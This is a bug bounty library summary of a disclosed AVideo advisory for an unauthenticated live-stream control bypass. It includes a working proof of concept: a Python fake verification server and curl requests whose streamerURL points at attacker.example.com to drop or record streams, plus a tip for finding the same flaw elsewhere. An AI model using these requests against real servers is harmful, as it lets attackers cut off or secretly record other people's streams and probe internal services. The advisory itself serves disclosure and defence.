# AVideo Allows Unauthenticated Live Stream Control via Token Verification URL Override in control.json.php

AVideo's control.json.php accepts a user-supplied streamerURL, redirecting token verification to an attacker server that returns error:false, bypassing auth to drop or record any live stream.

- Payout: Research
- Severity: critical
- Program: AVideo
- Found by: offset
- Disclosed: 2026-03-25
- CVE: CVE-2026-33716
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-9hv9-gvwm-95f2
- Library page: http://bugbountylibrary.com/r/ghsa%3AGHSA-9hv9-gvwm-95f2
- Tags: area:web domain:web impact:dos impact:integrity impact:internal-access kind:research platform:ghsa sev:critical tech:php technique:incomplete-fix technique:source-review vuln:access-control vuln:auth-bypass vuln:dos vuln:ssrf

**Target:** PHP live-stream control endpoint (control.json.php) with NGINX RTMP control module
**Root cause:** The endpoint takes streamerURL directly from $_REQUEST and uses it to build the token verification URL, so an attacker can point verification at a server that always returns {"error": false}, skipping Live::decryptHash() and expiry checks.
**Steps:**
1. Stand up an attacker HTTP server returning `{"error": false}` for all GETs (e.g. python http.server on port 8888).
2. Send `GET /plugin/Live/standAloneFiles/control.json.php?token=anything&command=drop_publisher&name=VICTIM_STREAM_KEY&app=live&streamerURL=http://attacker.example.com:8888/`.
3. Server fetches `http://attacker.example.com:8888/plugin/Live/verifyToken.json.php?token=anything`, receives error:false, and executes the command against the local RTMP control module.
4. Repeat with `command=record_start` or `command=is_recording` to record or enumerate streams.
**How found:** Reporter noticed streamerURL was accepted from user input in control.json.php and compared against sibling saveDVR.json.php, which had been patched days earlier with an explicit comment that user-supplied webSiteRootURL enables SSRF — indicating the same pattern was missed here.
**Exploitation:** Unauthenticated attacker sends a single crafted GET to control.json.php with an arbitrary token and attacker-controlled streamerURL; the server's file_get_contents() call to the fake verifyToken endpoint returns error:false, and the endpoint then issues the requested control command (drop_publisher, record_start, record_stop, is_recording) to the local NGINX RTMP control module at localhost:8080.
**Escalation:** Same primitive also yields SSRF since file_get_contents() follows the attacker URL with SSL verification disabled, enabling internal service probing.
**Insight:** When a project patches one standalone endpoint for a user-supplied base-URL SSRF/auth-bypass pattern, grep sibling standAloneFiles/*.json.php for the same $_REQUEST override — the fix is rarely applied everywhere at once.

## Proof of concept (copied exactly from the original report)

**Attacker server returning error false**

```
python3 -c '
import http.server, json
class H(http.server.BaseHTTPRequestHandler):
    def do_GET(self):
        self.send_response(200)
        self.send_header("Content-Type","application/json")
        self.end_headers()
        self.wfile.write(json.dumps({"error": False}).encode())
    def log_message(self, *a): pass
http.server.HTTPServer(("0.0.0.0", 8888), H).serve_forever()
'
```

**Unauthenticated drop_publisher curl request**

```
curl -s "https://target.example.com/plugin/Live/standAloneFiles/control.json.php?token=anything&command=drop_publisher&name=VICTIM_STREAM_KEY&app=live&streamerURL=http://attacker.example.com:8888/"
```

**Unauthenticated record_start curl request**

```
curl -s "https://target.example.com/plugin/Live/standAloneFiles/control.json.php?token=anything&command=record_start&name=VICTIM_STREAM_KEY&app=live&streamerURL=http://attacker.example.com:8888/"
```

